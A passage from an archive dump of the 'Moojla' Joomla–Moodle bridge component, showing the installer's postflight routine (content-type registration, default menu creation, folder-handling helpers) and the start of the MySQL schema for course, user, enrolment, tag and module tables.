"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"contents_module_id":"contents_module_id","type":"type","filename":"filename","mimetype":"mimetype","file":"file","filesize":"filesize","fileurl":"fileurl"}}';
$content->router = 'MoojlaHelperRoute::getContentRoute';
$content->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/content.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","contents_module_id","filesize"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if content type is already in content_type DB.
$content_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($content->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$content->type_id = $db->loadResult();
$content_Updated = $db->updateObject('#__content_types',
$content, 'type_id');
}
else
{
$content_Inserted = $db->insertObject('#__content_types',
$content);
}
// Create the category_map content type object.
$category_map = new stdClass();
$category_map->type_title = 'Moojla Category_map';
$category_map->type_alias = 'com_moojla.category_map';
$category_map->table = '{"special":
{"dbtable": "#__moojla_category_map","key":
"id","type":
"Category_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$category_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jcatid":"jcatid","mcatid":"mcatid"}}';
$category_map->router =
'MoojlaHelperRoute::getCategory_mapRoute';
$category_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/category_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jcatid","mcatid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if category_map type is already in content_type DB.
$category_map_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($category_map->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$category_map->type_id = $db->loadResult();
$category_map_Updated =
$db->updateObject('#__content_types', $category_map,
'type_id');
}
else
{
$category_map_Inserted =
$db->insertObject('#__content_types', $category_map);
}
// Create the cohort content type object.
$cohort = new stdClass();
$cohort->type_title = 'Moojla Cohort';
$cohort->type_alias = 'com_moojla.cohort';
$cohort->table = '{"special": {"dbtable":
"#__moojla_cohort","key":
"id","type": "Cohort","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$cohort->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"mcohort":"mcohort","course_group":"course_group"}}';
$cohort->router = 'MoojlaHelperRoute::getCohortRoute';
$cohort->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/cohort.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","mcohort","course_group"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';
// Check if cohort type is already in content_type DB.
$cohort_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($cohort->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$cohort->type_id = $db->loadResult();
$cohort_Updated = $db->updateObject('#__content_types',
$cohort, 'type_id');
}
else
{
$cohort_Inserted = $db->insertObject('#__content_types',
$cohort);
}
/***[JCBGUI.joomla_component.php_postflight_update.29.$$$$]***/
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id')->from($db->quoteName('#__menu_types'))->where($db->quoteName('menutype')
. '=' . $db->quote('moojla_default'));
$db->setQuery($query);
$result = $db->loadResult();
if (empty($result)) {
$query = $db->getQuery(true)
->select('extension_id')
->from($db->quoteName('#__extensions'))
->where($db->quoteName('name') .
'=' . $db->quote('COM_MOOJLA'))
->where($db->quoteName('type') .
'=' . $db->quote('component'));
$db->setQuery($query);
$moojla_component_id = $db->loadResult();
$query = $db->getQuery(true);
$columns = array('menutype', 'title',
'description');
$values = array($db->quote('moojla_default'),
$db->quote('Moojla Default Menus'), $db->quote('Moojla
Default Description'));
$query
->insert($db->quoteName('#__menu_types'))
->columns($db->quoteName($columns))
->values(implode(',', $values));
$db->setQuery($query);
$db->execute();
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/tables/menu.php';
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/models/item.php';
$obj = new MenusModelItem;
$menuItems = array(
'moojla_default' =>
array(
'menutype' =>
'moojla_default',
'title' =>
'moojla_course_search',
'type' => 'component',
'link' =>
'index.php?option=com_moojla&view=course_search',
'language' => '*',
'published' => 1,
'level' => 1,
'parent_id' => 1,
'access' => 1,
'client_id' => 0
)
);
foreach ($menuItems as $key => &$menuItem) {
if ($key == 'moojla_default') {
$menuItem['component_id'] =
$moojla_component_id;
}
$obj->save($menuItem);
}
}
/***[/JCBGUI$$$$]***/
echo '<a target="_blank"
href="http://Lmskaran.com" title="Moojla">
<img
src="components/com_moojla/assets/images/vdm-component.png"/>
</a>
<h3>Upgrade to Version 1.0.77 Was Successful! Let us know if
anything is not working as expected.</h3>';
}
return true;
}
/**
* Remove folders with files
*
* @param string $dir The path to folder to remove
* @param boolean $ignore The folders and files to ignore and not
remove
*
* @return boolean True in all is removed
*
*/
protected function removeFolder($dir, $ignore = false)
{
if (Folder::exists($dir))
{
$it = new RecursiveDirectoryIterator($dir);
$it = new RecursiveIteratorIterator($it,
RecursiveIteratorIterator::CHILD_FIRST);
// remove ending /
$dir = rtrim($dir, '/');
// now loop the files & folders
foreach ($it as $file)
{
if ('.' === $file->getBasename() || '..' ===
$file->getBasename()) continue;
// set file dir
$file_dir = $file->getPathname();
// check if this is a dir or a file
if ($file->isDir())
{
$keeper = false;
if ($this->checkArray($ignore))
{
foreach ($ignore as $keep)
{
if (strpos($file_dir, $dir.'/'.$keep) !== false)
{
$keeper = true;
}
}
}
if ($keeper)
{
continue;
}
Folder::delete($file_dir);
}
else
{
$keeper = false;
if ($this->checkArray($ignore))
{
foreach ($ignore as $keep)
{
if (strpos($file_dir, $dir.'/'.$keep) !== false)
{
$keeper = true;
}
}
}
if ($keeper)
{
continue;
}
File::delete($file_dir);
}
}
// delete the root folder if not ignore found
if (!$this->checkArray($ignore))
{
return Folder::delete($dir);
}
return true;
}
return false;
}
/**
* Check if have an array with a length
*
* @input array The array to check
*
* @returns bool/int number of items in array on success
*/
protected function checkArray($array, $removeEmptyString = false)
{
if (isset($array) && is_array($array) && ($nr =
count((array)$array)) > 0)
{
// also make sure the empty strings are removed
if ($removeEmptyString)
{
foreach ($array as $key => $string)
{
if (empty($string))
{
unset($array[$key]);
}
}
return $this->checkArray($array, false);
}
return $nr;
}
return false;
}
/**
* Method to set/copy dynamic folders into place (use with caution)
*
* @return void
*/
protected function setDynamicF0ld3rs($app, $parent)
{
// get the instalation path
$installer = $parent->getParent();
$installPath = $installer->getPath('source');
// get all the folders
$folders = Folder::folders($installPath);
// check if we have folders we may want to copy
$doNotCopy = array('media','admin','site');
// Joomla already deals with these
if (count((array) $folders) > 1)
{
foreach ($folders as $folder)
{
// Only copy if not a standard folders
if (!in_array($folder, $doNotCopy))
{
// set the source path
$src = $installPath.'/'.$folder;
// set the destination path
$dest = JPATH_ROOT.'/'.$folder;
// now try to copy the folder
if (!Folder::copy($src, $dest, '', true))
{
$app->enqueueMessage('Could not copy '.$folder.'
folder into place, please make sure destination is writable!',
'error');
}
}
}
}
}
}
sql/index.html000064400000000054151165724400007344
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>sql/install.mysql.utf8.sql000064400000046022151165724400011574
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`addcontrols` TINYINT(1) NOT NULL DEFAULT 1,
`alias` CHAR(64) NOT NULL DEFAULT '',
`alterurl` VARCHAR(255) NULL DEFAULT '',
`autoplay` TINYINT(1) NOT NULL DEFAULT 0,
`autoplayaudio` TINYINT(1) NOT NULL DEFAULT 0,
`availabilityinfolink` TINYINT(1) NOT NULL DEFAULT 2,
`buylbl` VARCHAR(50) NULL DEFAULT '',
`cangotomoodle` TINYINT(1) NOT NULL DEFAULT 2,
`cat_id` INT(10) NOT NULL DEFAULT 0,
`cat_name` CHAR(255) NOT NULL DEFAULT '',
`catid` INT(64) NULL DEFAULT 0,
`cost` INT(50) NOT NULL DEFAULT 0,
`course_detail_layout` VARCHAR(255) NOT NULL DEFAULT '',
`course_templatestyle_forcourseconfig` INT(10) NOT NULL DEFAULT 0,
`currency` VARCHAR(10) NOT NULL DEFAULT 0,
`enddate` VARCHAR(255) NULL DEFAULT '0000-00-00 00:00:00',
`enrollbl` VARCHAR(50) NULL DEFAULT '',
`enterlbl` VARCHAR(50) NULL DEFAULT '',
`freeenterlbl` VARCHAR(50) NULL DEFAULT '',
`fullname` VARCHAR(255) NOT NULL DEFAULT '',
`guest` INT(10) NOT NULL DEFAULT 0,
`in_enrol_date` VARCHAR(10) NOT NULL DEFAULT '',
`loginlbl` VARCHAR(50) NULL DEFAULT '',
`loginurl` VARCHAR(255) NULL DEFAULT '',
`muted` TINYINT(1) NOT NULL DEFAULT 0,
`permanent_fields` VARCHAR(64) NOT NULL DEFAULT '',
`popupbutton` TINYINT(1) NOT NULL DEFAULT 2,
`preloadaudio` TINYINT(1) NOT NULL DEFAULT 0,
`preloadvideo` TINYINT(1) NOT NULL DEFAULT 0,
`preventdownload` TINYINT(1) NOT NULL DEFAULT 0,
`preventdownloadaudio` TINYINT(1) NOT NULL DEFAULT 0,
`redirect_after_enrol` TINYINT(1) NOT NULL DEFAULT 2,
`registrationurl` VARCHAR(255) NULL DEFAULT '',
`remoteid` INT(10) NOT NULL DEFAULT 0,
`self_enrolment` VARCHAR(10) NOT NULL DEFAULT '',
`shortname` VARCHAR(255) NOT NULL DEFAULT '',
`showlogintab` TINYINT(1) NOT NULL DEFAULT 2,
`showregtab` TINYINT(1) NOT NULL DEFAULT 2,
`startdate` VARCHAR(255) NULL DEFAULT '0000-00-00 00:00:00',
`summary` TEXT NOT NULL,
`summary_files` MEDIUMTEXT NOT NULL,
`teachers` TEXT NOT NULL,
`useglobalaudio` TINYINT(1) NOT NULL DEFAULT 1,
`useglobalvideo` TINYINT(1) NOT NULL DEFAULT 1,
`videotype` TINYINT(1) NOT NULL DEFAULT 1,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
`metakey` TEXT NOT NULL,
`metadesc` TEXT NOT NULL,
`metadata` TEXT NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_remoteid` (`remoteid`),
KEY `idx_shortname` (`shortname`),
KEY `idx_catid` (`catid`),
KEY `idx_alias` (`alias`),
KEY `idx_permanent_fields` (`permanent_fields`),
KEY `idx_course_templatestyle_forcourseconfig`
(`course_templatestyle_forcourseconfig`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`coursefield` INT(10) NOT NULL DEFAULT 0,
`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_coursefield` (`coursefield`),
KEY `idx_mcoursefields` (`mcoursefields`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_user_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`debug` VARCHAR(10) NULL DEFAULT '',
`jid` INT(11) NOT NULL DEFAULT 0,
`mid` INT(64) NOT NULL DEFAULT 0,
`updatetype` TINYINT(3) NOT NULL DEFAULT 1,
`userimage` VARCHAR(1024) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_jid` (`jid`),
KEY `idx_mid` (`mid`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_user_field_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`iscv` TINYINT(1) NOT NULL DEFAULT 0,
`juserfields` VARCHAR(64) NOT NULL DEFAULT '',
`muserfields` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_juserfields` (`juserfields`),
KEY `idx_muserfields` (`muserfields`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_course_group_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`course_group` INT(11) NOT NULL DEFAULT 0,
`moojlacourse` INT(11) NOT NULL DEFAULT 0,
`role` INT(7) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_moojlacourse` (`moojlacourse`),
KEY `idx_course_group` (`course_group`),
KEY `idx_role` (`role`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`enrolldate` DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
`jid` INT(11) NOT NULL DEFAULT 0,
`moojlacourse` INT(11) NOT NULL DEFAULT 0,
`role` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_role` (`role`),
KEY `idx_moojlacourse` (`moojlacourse`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_tag` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`isstandard` TINYINT(1) NOT NULL DEFAULT 0,
`tagid` INT(10) NOT NULL DEFAULT 0,
`tagname` VARCHAR(64) NOT NULL DEFAULT '',
`tags` INT(255) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_tagid` (`tagid`),
KEY `idx_tagname` (`tagname`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_tag_instance` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`moodletag` INT(10) NOT NULL DEFAULT 0,
`moojlacourse` INT(11) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_moojlacourse` (`moojlacourse`),
KEY `idx_moodletag` (`moodletag`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_section` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`courseid` INT(10) NOT NULL DEFAULT 0,
`name` VARCHAR(255) NOT NULL DEFAULT '',
`section_id` INT(10) NULL DEFAULT 0,
`summary` TEXT NOT NULL,
`uservisible` TINYINT(1) NOT NULL DEFAULT 0,
`visible` TINYINT(1) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_section_id` (`section_id`),
KEY `idx_courseid` (`courseid`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_module` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`description` TEXT NOT NULL,
`modicon` TEXT NOT NULL,
`modname` VARCHAR(255) NOT NULL DEFAULT '',
`module_id` INT(10) NOT NULL DEFAULT 0,
`module_section_id` INT(10) NOT NULL DEFAULT 0,
`name` VARCHAR(255) NOT NULL DEFAULT '',
`url` VARCHAR(255) NOT NULL DEFAULT '',
`uservisible` TINYINT(1) NOT NULL DEFAULT 0,
`visible` TINYINT(1) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `idx_module_id` (`module_id`),
KEY `idx_module_section_id` (`module_section_id`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
CREATE TABLE IF NOT EXISTS `#__moojla_content` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`contents_module_id` INT(10) NOT NULL DEFAULT 0,
`file` VARCHAR(255) NOT NULL DEFAULT '',
`filename` VARCHAR(255) NOT NULL DEFAULT '',
`filesize` INT(64) NOT NULL DEFAULT 0,
`fileurl` VARCHAR(255) NOT NULL DEFAULT '',
`mimetype` VARCHAR(64) NOT NULL DEFAULT '',
`type` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_contents_module_id` (`contents_module_id`),
KEY `idx_type` (`type`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
